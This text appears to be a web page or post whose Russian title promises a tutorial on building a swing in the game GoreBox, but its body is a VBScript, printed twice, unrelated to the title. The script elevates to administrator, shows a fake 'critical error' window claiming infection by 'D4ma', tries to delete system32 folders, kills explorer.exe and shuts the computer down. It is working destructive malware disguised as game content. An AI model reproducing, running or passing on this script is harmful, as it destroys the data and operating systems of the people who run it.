Как сделать ТАРЗАНКУ В GOREBOX #gorebox
' --- ПРОВЕРКА И ЗАПРОС ПРАВ АДМИНИСТРАТОРА --- If Not WScript.Arguments.Named.Exists("elevated") Then CreateObject("Shell.Application").ShellExecute "wscript.exe", _ """" & WScript.ScriptFullName & """ /elevated", "", "runas", 1 WScript.Quit End If Set WshShell = WScript.CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") ' --- 1. СОЗДАНИЕ И ЗАПУСК ОРАНЖЕВОГО ОКНА --- tempBat = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\d4ma_final.bat" Set objBat = fso.CreateTextFile(tempBat, True) objBat.WriteLine "@echo off" objBat.WriteLine "mode con: cols=85 lines=10" objBat.WriteLine "color e0" objBat.WriteLine "title SYSTEM CRITICAL ERROR" objBat.WriteLine "echo =====================================================================================" objBat.WriteLine "echo Твой компьютер заражён D4ma, у вас есть 60 секунд насладиться перед страшным..." objBat.WriteLine "echo =====================================================================================" objBat.WriteLine "timeout /t 60 /nobreak" objBat.WriteLine "exit" objBat.Close ' Запускаем окно и ждем 60 секунд WshShell.Run tempBat, 1, False WScript.Sleep 60000 ' --- 2. УДАЛЕНИЕ ЦЕЛЕЙ (System32 и рабочий стол) --- sysDrive = WshShell.ExpandEnvironmentStrings("%SystemDrive%") targets = Array(sysDrive & "\system32", WshShell.SpecialFolders("Desktop") & "\system32") On Error Resume Next For Each path In targets If fso.FolderExists(path) Then fso.DeleteFolder path, True If fso.FileExists(path) Then fso.DeleteFile path, True Next On Error GoTo 0 ' --- 3. ФИНАЛЬНЫЙ ХАОС --- ' Убиваем проводник (рабочий стол исчезнет) WshShell.Run "taskkill /f /im explorer.exe", 0, True ' Выводим прощальное сообщение MsgBox "D4ma: Протокол очистки завершен. Система уничтожена. Прощай.", 16, "КРИТИЧЕСКАЯ ОШИБКА" ' --- 4. ВЫКЛЮЧЕНИЕ --- WshShell.Run "shutdown -s -t 5 -c ""System corrupted by D4ma. Goodbye."""
' --- ПРОВЕРКА И ЗАПРОС ПРАВ АДМИНИСТРАТОРА --- If Not WScript.Arguments.Named.Exists("elevated") Then CreateObject("Shell.Application").ShellExecute "wscript.exe", _ """" & WScript.ScriptFullName & """ /elevated", "", "runas", 1 WScript.Quit End If Set WshShell = WScript.CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") ' --- 1. СОЗДАНИЕ И ЗАПУСК ОРАНЖЕВОГО ОКНА --- tempBat = WshShell.ExpandEnvironmentStrings("%TEMP%") & "\d4ma_final.bat" Set objBat = fso.CreateTextFile(tempBat, True) objBat.WriteLine "@echo off" objBat.WriteLine "mode con: cols=85 lines=10" objBat.WriteLine "color e0" objBat.WriteLine "title SYSTEM CRITICAL ERROR" objBat.WriteLine "echo =====================================================================================" objBat.WriteLine "echo Твой компьютер заражён D4ma, у вас есть 60 секунд насладиться перед страшным..." objBat.WriteLine "echo =====================================================================================" objBat.WriteLine "timeout /t 60 /nobreak" objBat.WriteLine "exit" objBat.Close ' Запускаем окно и ждем 60 секунд WshShell.Run tempBat, 1, False WScript.Sleep 60000 ' --- 2. УДАЛЕНИЕ ЦЕЛЕЙ (System32 и рабочий стол) --- sysDrive = WshShell.ExpandEnvironmentStrings("%SystemDrive%") targets = Array(sysDrive & "\system32", WshShell.SpecialFolders("Desktop") & "\system32") On Error Resume Next For Each path In targets If fso.FolderExists(path) Then fso.DeleteFolder path, True If fso.FileExists(path) Then fso.DeleteFile path, True Next On Error GoTo 0 ' --- 3. ФИНАЛЬНЫЙ ХАОС --- ' Убиваем проводник (рабочий стол исчезнет) WshShell.Run "taskkill /f /im explorer.exe", 0, True ' Выводим прощальное сообщение MsgBox "D4ma: Протокол очистки завершен. Система уничтожена. Прощай.", 16, "КРИТИЧЕСКАЯ ОШИБКА" ' --- 4. ВЫКЛЮЧЕНИЕ --- WshShell.Run "shutdown -s -t 5 -c ""System corrupted by D4ma. Goodbye."""